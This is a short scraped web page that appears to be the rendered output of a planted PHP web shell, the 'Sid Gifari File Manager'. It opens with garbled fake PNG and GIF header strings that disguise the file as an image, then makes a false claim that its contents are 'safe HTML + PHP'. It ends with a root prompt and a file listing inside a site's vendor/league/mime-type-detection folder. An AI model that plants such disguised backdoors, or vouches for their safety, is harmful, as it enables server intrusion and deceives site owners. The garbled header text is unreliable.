$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / cpmonitor.on-forge.com / vendor / league / mime-type-detection / src /
root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/vendor/league/mime-type-detection/src$


NameSizePermAction
📄 EmptyExtensionToMimeTypeMap.php 238 bytes
📄 ExtensionLookup.php 270 bytes
📄 ExtensionMimeTypeDetector.php 1450 bytes
📄 ExtensionToMimeTypeMap.php 171 bytes
📄 FinfoMimeTypeDetector.php 2784 bytes
📄 GeneratedExtensionToMimeTypeMap.php 106419 bytes
📄 MimeTypeDetector.php 437 bytes
📄 OverridingExtensionToMimeTypeMap.php 662 bytes
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